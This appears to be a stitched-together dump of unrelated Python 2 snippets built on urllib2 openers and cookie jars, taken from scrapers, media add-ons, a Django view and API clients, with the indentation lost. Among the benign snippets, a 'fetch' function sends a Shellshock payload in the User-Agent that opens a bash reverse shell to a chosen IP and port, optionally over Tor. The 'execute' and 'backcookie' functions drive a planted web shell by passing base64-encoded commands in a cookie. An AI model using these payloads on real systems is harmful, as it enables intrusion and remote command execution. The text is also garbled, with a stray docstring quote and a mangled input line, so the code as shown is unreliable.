def getUrl(url,
cookieJar=None,
post=None,
timeout=20,
headers=None,
noredir=False):
cookie_handler = HTTPCookieProcessor(cookieJar)
if noredir:
opener = build_opener(NoRedirection, cookie_handler,
HTTPBasicAuthHandler(), HTTPHandler())
else:
opener = build_opener(cookie_handler, HTTPBasicAuthHandler(),
HTTPHandler())
# opener = install_opener(opener)
req = Request(url)
req.add_header(
'User-Agent',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36'
)
if headers:
for h, hv in headers:
req.add_header(h, hv)
response = opener.open(req, post, timeout=timeout)
link = response.read()
response.close()
return link
def login(self):
print "*** Login"
login = self.addon.getSetting('login')
if login:
password = self.addon.getSetting('password')
headers = {
"Host" : self.url.split("://")[1],
"Referer" : self.url + '/',
"Origin" : self.url,
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
}
values = {
"login": login,
"password": password
}
cj = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
req = Request(self.url + "/?mod=login", urllib.urlencode(values), headers)
f = opener.open(req)
for cookie in cj:
cookie = str(cookie).split('svid1=')[-1].split(' ')[0].strip()
if cookie and (cookie > ""):
self.addon.setSetting('cookie', cookie)
def fetch(url,
ip,
port,
timeout=3,
verbos=False,
method='get',
debugLevel=0,
proxy=False,
tor=False):
payload = "() { ignored;};/bin/bash -i >& /dev/tcp/%s/%s 0>&1" % (ip, port)
try:
proxy_support = ProxyHandler({'http': proxy} if proxy else {})
opener = build_opener(proxy_support,
HTTPHandler(debuglevel=debugLevel))
opener = build_opener(
# HTTPHandler(debuglevel=level),
SocksiPyHandler(PROXY_TYPE_SOCKS5, '127.0.0.1',
9050), ) if tor else opener
# exit(opener.open('http://ifconfig.me/ip').read().strip())
# Spoof the user-agent
opener.addheaders = [('User-agent', payload)]
install_opener(opener)
# url = 'http://%s' % url if not url.startswith('http://') else url
opener.open(url, timeout=timeout)
# src = src.read()
# return src
except socket.timeout:
if verbos:
print "[!] Connection lost to host: %s" % url
exit(1)
def build_opener(self, debug=False):
"""Create handlers with the appropriate debug level.
We intentionally create new ones because the OpenerDirector
class in urllib2 is smart enough to replace its internal
versions with ours if we pass them into the
urllib2.build_opener method. This is much easier than
trying to introspect into the OpenerDirector to find the
existing handlers.
Based on http://code.activestate.com/recipes/440574/#c1
TODO: Implement workaround for http://bugs.python.org/issue7152
"""
http_handler = HTTPHandler(debuglevel=debug)
https_handler = HTTPSHandler(debuglevel=debug)
proxy_handler = ProxyHandler(debuglevel=debug)
unknown_handler = UnknownHandler(debuglevel=debug)
http_default_error_handler = HTTPDefaultErrorHandler(debuglevel=debug)
http_redirect_handler = HTTPRedirectHandler(debuglevel=debug)
http_error_processor = HTTPErrorProcessor(debuglevel=debug)
handlers = [http_handler, https_handler, proxy_handler, \
unknown_handler, http_default_error_handler, \
http_redirect_handler, http_error_processor]
opener = build_opener(handlers)
return opener
def getCookies(url):
#Create a CookieJar object to hold the cookies
cj = cookielib.CookieJar()
print "this is oookie " + str(url)
#Create an opener to open pages using the http protocol and to process cookies.
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
#create a request object to be used to get the page.
req = urllib2.Request(url)
req.add_header('Host', 'www.teledunet.com')
req.add_header(
'User-Agent',
'Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0')
req.add_header(
'Accept',
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')
req.add_header('Accept-Encoding', 'gzip, deflate')
req.add_header('Referer', 'http://www.teledunet.com/')
req.add_header('Connection', 'keep-alive')
f = opener.open(req)
#see the first few lines of the page
cj = str(cj).replace('<cookielib.CookieJar[<Cookie',
'').replace('/>]>',
'').replace('for www.teledunet.com', '')
cj = str(cj).strip()
return cj
def __init__(self, url, fetch=True, mobile=False, proxy=None, referer=None, cookie=None):
if not proxy is None:
proxy_handler = urllib2.ProxyHandler({'http':'%s' % (proxy)})
opener = urllib2.build_opener(proxy_handler, urllib2.HTTPHandler)
opener = urllib2.install_opener(opener)
request = urllib2.Request(url,None)
if not cookie is None:
from urllib2 import Request, build_opener, HTTPCookieProcessor, HTTPHandler
import cookielib
cj = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
cookiereq = Request(cookie)
response = opener.open(cookiereq)
response.close()
for cookie in cj:
cookie = '%s=%s' % (cookie.name, cookie.value)
request.add_header('Cookie', cookie)
if mobile == True:
request.add_header('User-Agent', 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7')
else:
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0')
if not referer is None:
request.add_header('Referer', referer)
response = urllib2.urlopen(request, timeout=10)
if fetch == True:
result = response.read()
else:
result = response.geturl()
response.close()
self.result = result
def index(request):
# check whether cookie exits
visits = (int(request.COOKIES.get('visits', 1)))
#Create a CookieJar object to hold the cookies
cj = cookielib.CookieJar()
#Create an opener to open pages using the http protocol and to process cookies.
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
#create a request object to be used to get the page.
req = Request("http://www.twitter.com")
f = opener.open(req)
#see the first few lines of the page
html = f.read()
print html[:50]
#Check out the cookies
print "the cookies are: "
for cookie in cj:
print cookie
context_catogaries = Category.objects.order_by('-likes')[:18]
context_pages = Page.objects.order_by('-views')[:18]
context_dict = {'categories': context_catogaries, 'pages': context_pages}
response = render(request, 'rango/index.html', context_dict)
visits += 1
response.set_cookie('visits', visits)
print "visit is " + str(visits)
return response
def login(url, uname, passwd):
loginurl = url + '/login.php?do=login'
md5 = hashlib.md5(passwd);md5 = md5.hexdigest()
cj = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
req = Request(url)
f = opener.open(req)
html = f.read()
global headers
headers = {
'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
}
opts = {
'vb_login_username':uname,
'vb_login_password':passwd,
's': '',
'securitytoken':'guest',
'do': 'login',
'vb_login_md5password': md5,
'vb_login_md5password_utf': md5
}
data = urllib.urlencode(opts)
jar = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
opener.addheader = headers
"""
def getCookiesARC(url):
#Create a CookieJar object to hold the cookies
cj = cookielib.CookieJar()
#Create an opener to open pages using the http protocol and to process cookies.
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
#create a request object to be used to get the page.
req = Request(url)
req.add_header('Host', 'www.hdarabic.com')
req.add_header('Cache-Control', 'max-age=0')
req.add_header(
'Accept',
' text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
)
req.add_header(
'User-Agent',
' Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36'
)
req.add_header('Accept-Encoding', 'gzip,deflate,sdch')
req.add_header('Referer', 'http://www.hdarabic.com/')
req.add_header('Accept-Language', 'sv,en-US;q=0.8,en;q=0.6,en-GB;q=0.4')
f = opener.open(req)
#see the first few lines of the page
cj = str(cj).replace('<cookielib.CookieJar[<Cookie',
'').replace('/>]>', '')
cj = str(cj).strip()
return cj
def login(self):
print "*** Login"
login = self.addon.getSetting('login')
if login:
password = self.addon.getSetting('password')
url = self.url + '/?mod=login'
headers = {
"Host" : "seasonvar.ru",
"Connection" : "keep-alive",
"Referer" : url,
"Content-Type" : "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests" : "1",
"Origin" : "http://seasonvar.ru",
"User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0"
}
values = {
"login": login,
"password": password
}
cj = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
req = Request(self.url + "/?mod=login", urllib.urlencode(values), headers)
f = opener.open(req)
for cookie in cj:
cookie = str(cookie).split('svid1=')[-1].split(' ')[0].strip()
if cookie and (cookie > ""):
self.authcookie = "svid1=" + cookie
self.vip = True
def getCookies(url):
url = "http://bokra.net/Skip/?ref=" + str(url)
#Create a CookieJar object to hold the cookies
cj = cookielib.CookieJar()
#Create an opener to open pages using the http protocol and to process cookies.
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
#create a request object to be used to get the page.
req = Request(url)
req = urllib2.Request(url)
req.add_header('Host', 'bokra.net')
req.add_header(
'Accept',
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
)
req.add_header(
'User-Agent',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36'
)
req.add_header('Referer', 'http://bokra.net/Skip/?ref=' + str(url))
req.add_header('Accept-Encoding', ' gzip,deflate,sdch')
req.add_header('Accept-Language', 'sv-SE,sv;q=0.8,en-US;q=0.6,en;q=0.4')
f = opener.open(req)
#see the first few lines of the page
cj = str(cj).split("for")[0]
cj = str(cj).split("Cookie")[2]
cj = str(cj).strip()
return cj
def login(self, login_callback, check_login_callback):
global DEBUG_HTTP
if connection.offline:
raise Exception("Can't connect in offline mode.")
if self.username == '' or self.password == '':
raise Exception(
"Please configure your username/password and restart the application"
)
logger.info("Checking Login status")
from cookielib import LWPCookieJar
cj = LWPCookieJar(self.cookiefile)
if not self.opener_installed:
from urllib2 import build_opener, install_opener, HTTPCookieProcessor, HTTPHandler
if DEBUG_HTTP:
opener = build_opener(HTTPHandler(debuglevel=1),
HTTPCookieProcessor(cj))
else:
opener = build_opener(HTTPCookieProcessor(cj))
install_opener(opener)
self.opener_installed = True
try:
cj.load()
logger.info("Loaded cookie file")
except IOError, e:
logger.info("Couldn't load cookie file")
def execute(command, agent, debugLevel=0):
opener = build_opener(HTTPHandler(debuglevel=debugLevel))
opener.addheaders = [
('User-Agent', agent),
('Cookie', '1={0}'.format(command.encode('base64'))),
]
sc = opener.open(argv[1]) # 'http://localhost/uploads/co.php'
print '\033[31m' + sc.read().strip() + '\033[0m'
def get_new_cookie(self):
# Start by prompting user to input their credentials
# Another Python2/3 workaround
try:
new_username = raw_input("Username: "******"Username: "******"Password (will not be displayed): ")
# Build URS4 Cookie request
auth_cookie_url = self.asf_urs4['url'] + '?client_id=' + self.asf_urs4['client'] + '&redirect_uri=' + \
self.asf_urs4['redir'] + '&response_type=code&state='
try:
# python2
user_pass = base64.b64encode(bytes(new_username + ":" + new_password))
except TypeError:
# python3
user_pass = base64.b64encode(bytes(new_username + ":" + new_password, "utf-8"))
user_pass = user_pass.decode("utf-8")
# Authenticate against URS, grab all the cookies
self.cookie_jar = MozillaCookieJar()
opener = build_opener(HTTPCookieProcessor(self.cookie_jar), HTTPHandler(), HTTPSHandler(**self.context))
request = Request(auth_cookie_url, headers={"Authorization": "Basic {0}".format(user_pass)})
# Watch out cookie rejection!
try:
response = opener.open(request)
except HTTPError as e:
if e.code == 401:
print(" > Username and Password combo was not successful. Please try again.")
return False
else:
# If an error happens here, the user most likely has not confirmed EULA.
print("\nIMPORTANT: There was an error obtaining a download cookie!")
print("Your user appears to lack permission to download data from the ASF Datapool.")
print(
"\n\nNew users: you must first log into Vertex and accept the EULA. In addition, your Study Area must be set at Earthdata https://urs.earthdata.nasa.gov")
exit(-1)
except URLError as e:
print("\nIMPORTANT: There was a problem communicating with URS, unable to obtain cookie. ")
print("Try cookie generation later.")
exit(-1)
# Did we get a cookie?
if self.check_cookie_is_logged_in(self.cookie_jar):
# COOKIE SUCCESS!
self.cookie_jar.save(self.cookie_jar_path)
return True
# if we aren't successful generating the cookie, nothing will work. Stop here!
print("WARNING: Could not generate new cookie! Cannot proceed. Please try Username and Password again.")
print("Response was {0}.".format(response.getcode()))
print(
"\n\nNew users: you must first log into Vertex and accept the EULA. In addition, your Study Area must be set at Earthdata https://urs.earthdata.nasa.gov")
exit(-1)
def get_cookie():
from urllib2 import Request, build_opener, HTTPCookieProcessor, HTTPHandler
import cookielib
cj = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
req = Request(tvviet)
f = opener.open(req)
for cookie in cj:
return "%s=%s" % (cookie.name, cookie.value)
def __get_https_opener(self):
""" Devuelve una instancia del opener adecuado para interactuar vía
https con client key y soporte de cookies """
if self.timeout:
https_auth_handler._timeout = float(self.timeout)
return build_opener(HTTPHandler(debuglevel=self.DEBUG_LEVEL),
HTTPSClientAuthHandler(
debuglevel=self.DEBUG_LEVEL),
HTTPCookieProcessor(self._cookiejar))
def __init__(self, host, auth_header, debug=0):
self._host = host
self._headers['Authorization'] = auth_header
self._opener = build_opener(HTTPHandler(debuglevel=debug),
HTTPSHandler(debuglevel=debug),
HTTPCookieProcessor(CookieJar()),
LoggingHandler(),
HTTPDefaultErrorHandler())
def check_cookie(self):
if self.cookie_jar is None:
print(" > Cookiejar is bunk: {0}".format(self.cookie_jar))
return False
# File we know is valid, used to validate cookie
file_check = 'https://urs.earthdata.nasa.gov/profile'
# Apply custom Redirect Hanlder
opener = build_opener(HTTPCookieProcessor(
self.cookie_jar), HTTPHandler(), HTTPSHandler(**self.context))
install_opener(opener)
# Attempt a HEAD request
request = Request(file_check)
request.get_method = lambda: 'HEAD'
try:
print(" > attempting to download {0}".format(file_check))
response = urlopen(request, timeout=30)
resp_code = response.getcode()
# Make sure we're logged in
if not self.check_cookie_is_logged_in(self.cookie_jar):
return False
# Save cookiejar
self.cookie_jar.save(self.cookie_jar_path)
except HTTPError:
# If we ge this error, again, it likely means the user has not agreed to current EULA
print("\nIMPORTANT: ")
print(
"Your user appears to lack permissions to download data from the ASF Datapool.")
print("\n\nNew users: you must first log into Vertex and accept the EULA. In addition, your Study Area must be set at Earthdata https://urs.earthdata.nasa.gov")
exit(-1)
# This return codes indicate the USER has not been approved to download the data
if resp_code in (300, 301, 302, 303):
try:
redir_url = response.info().getheader('Location')
except AttributeError:
redir_url = response.getheader('Location')
# Funky Test env:
if ("vertex-retired.daac.asf.alaska.edu" in redir_url and "test" in self.asf_urs4['redir']):
print("Cough, cough. It's dusty in this test env!")
return True
print(
"Redirect ({0}) occured, invalid cookie value!".format(resp_code))
return False
# These are successes!
if resp_code in (200, 307):
return True
return False
def __init__(self):
self.hr_cookie = CookieJar()
self.hr_opener = build_opener(HTTPCookieProcessor(self.hr_cookie),
HTTPHandler())
self.hr_headers = {
'User-Agent':
'Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0',
'Referer': 'https://www.facebook.com/',
'Cookie': 'mq=i%3A500%3B;',
}
def __init__(self):
self.logger = self.set_logger()
self.config = self.set_config()
#Create a CookieJar object to hold the cookies
self.cj = cookielib.CookieJar()
self.cookie_dict = {
self.config.get('crawler', 'user_token'): '',
self.config.get('crawler', 'user_id'): ''
}
#Create an opener to open pages using the http protocol and to process cookies.
self.opener = build_opener(HTTPCookieProcessor(self.cj), HTTPHandler())
def __init__(self, timeout=10):
self.available = set()
self._table = {}
self._lock = Lock()
self._timeout = timeout
self._opener = OpenerDirector()
self._opener.handlers = []
self._opener.add_handler(NullHandler(self._table, self._lock))
self._opener.add_handler(HTTPHandler())
def _make_request(self, url, method="GET", payload=None, headers={}):
self.opener = OpenerDirector()
self.opener.add_handler(HTTPHandler())
if payload is None:
request = Request(url, headers=headers)
else:
request = Request(url,
headers=headers,
data=payload.encode('utf-8'))
request.get_method = lambda: method
response = self.opener.open(request)
response_code = getattr(response, 'code', -1)
return (response, response_code)
def __init__(self,
user_agent=USER_AGENT,
base_url=BASE_URL,
search_page=SEARCH_PAGE):
self.user_agent = USER_AGENT
self.base_url = BASE_URL
self.search_page = SEARCH_PAGE
#Create a CookieJar object to hold the cookies
self.cookie_jar = cookielib.CookieJar()
#Create an opener to open pages using the http protocol and to process cookies.
self.http_opener = build_opener(HTTPCookieProcessor(self.cookie_jar),
HTTPHandler())
self.http_opener.addheaders = [('User-agent', self.user_agent)]
def _add_basic_auth(self):
auth_handler = HTTPBasicAuthHandler(HTTPPasswordMgrWithDefaultRealm())
auth_handler.add_password(
realm=None,
uri=self.host,
user=self.user,
passwd=self.password,
)
install_opener(
build_opener(
auth_handler,
HTTPHandler(debuglevel=self.request_debug_level),
HTTPSHandler(debuglevel=self.request_debug_level),
))
def set_infos(self):
cookie_jar = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cookie_jar), HTTPHandler())
request_object = Request("https://www.youtube.com")
src = opener.open(request_object).read()
cookiename = ['YSC', 'PREF', 'VISITOR_INFO1_LIVE']
for cookie in cookie_jar:
if cookie.name in cookiename:
self._cookie += '%s=%s;' % (cookie.name, cookie.value)
re_st = re.compile('\'XSRF_TOKEN\'\: \"([^\"]+)\"\,')
self._session_token = re_st.findall(src)[0]
def period_update(self):
# all the job is done
if self._is_done == True:
return
# begin to update
self._mutex_crawl.acquire()
i = 0
state = 'fail'
while i < self._update_cookie_maximum_times:
# get cookies
cj = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
#req = Request("https://www.youtube.com/watch?v="+self._seed_username)
req = Request("https://www.youtube.com/user/" + "meghanrosette" +
"/videos?view=54&flow=grid")
f = opener.open(req)
src = f.read()
time.sleep(self._cookie_update_delay_time)
cookiename = ['YSC', 'PREF', 'VISITOR_INFO1_LIVE', 'ACTIVITY']
self._cookie = ''
for cookie in cj:
if cookie.name in cookiename:
self._cookie += (cookie.name + '=' + cookie.value + '; ')
self._cookie = self._cookie[0:-2]
re_st = re.compile('\'XSRF_TOKEN\'\: \"([^\"]+)\"\,')
self._session_token = re_st.findall(src)[0]
#"""
# test
try:
self.get_user_videos(self._seed_username)
except Exception, e:
if 'Invalid request' in str(e):
continue
else:
#self._mutex_crawl.release()
#self.email('meet error when update the cookies, please set a new seed video (%s)' % str(e))
raise Exception(
'meet error when update the cookies, please set a new seed video (%s)'
% str(e))
#"""
state = 'success'
break
def backcookie(command, host, cookie, vcmd, debugLevel=0):
o = build_opener(HTTPHandler(debuglevel=debugLevel))
o.addheaders = [
(core.ua, "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1)"),
(core.ck, cookie + core.vc.format(command.encode(core.eb)))
]
try:
l = o.open(host)
v = l.headers.values() # v > validate
except:
Error()
if v[0] == '0' or vcmd == "command": # vcmd > validate command
print color.blue + l.read().strip() + color.white
else:
Error()
def __init__(self, username, password, host, debug=0):
logger.debug('Creating new connection with username=%s host=%s',
username, host)
self._host = host
base64string = base64.encodestring(
('%s:%s' % (username, password)).encode('utf-8')).replace(
b'\n', b'')
self._headers['Authorization'] = b'Basic ' + base64string
self._opener = build_opener(HTTPHandler(debuglevel=debug),
HTTPSHandler(debuglevel=debug),
HTTPCookieProcessor(CookieJar()),
LoggingHandler(),
HTTPDefaultErrorHandler())
def get_quora_cookies_doesnt_work():
# From http://stackoverflow.com/questions/921532/retrieving-all-cookies-in-python
# Create a CookieJar object to hold the cookies
cj = cookielib.CookieJar()
#Create an opener to open pages using the http protocol and to process cookies.
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
#create a request object to be used to get the page.
req = Request(topics_path)
f = opener.open(req)
cookies = {}
for c in cj:
cookies[c.name] = c.value
return cookies
def _setup_http(self):
self._api_uri = '{http}://{host}:{port}{uri}'.format(
http=self._proto,
host=self._hostname,
port=self._port,
uri=DEFAULT_API_URI)
auth_mgr = HTTPPasswordMgrWithDefaultRealm()
auth_mgr.add_password(None, self._api_uri, self._user, self._password)
auth_hndlr = HTTPBasicAuthHandler(auth_mgr)
http_hndlr = HTTPHandler(debuglevel=0)
https_hndlr = HTTPSHandler(debuglevel=0)
self._http_api = build_opener(auth_hndlr, https_hndlr, http_hndlr)
self._auth_base64 = base64.encodestring(
'%s:%s' % (self._user, self._password))[:-1]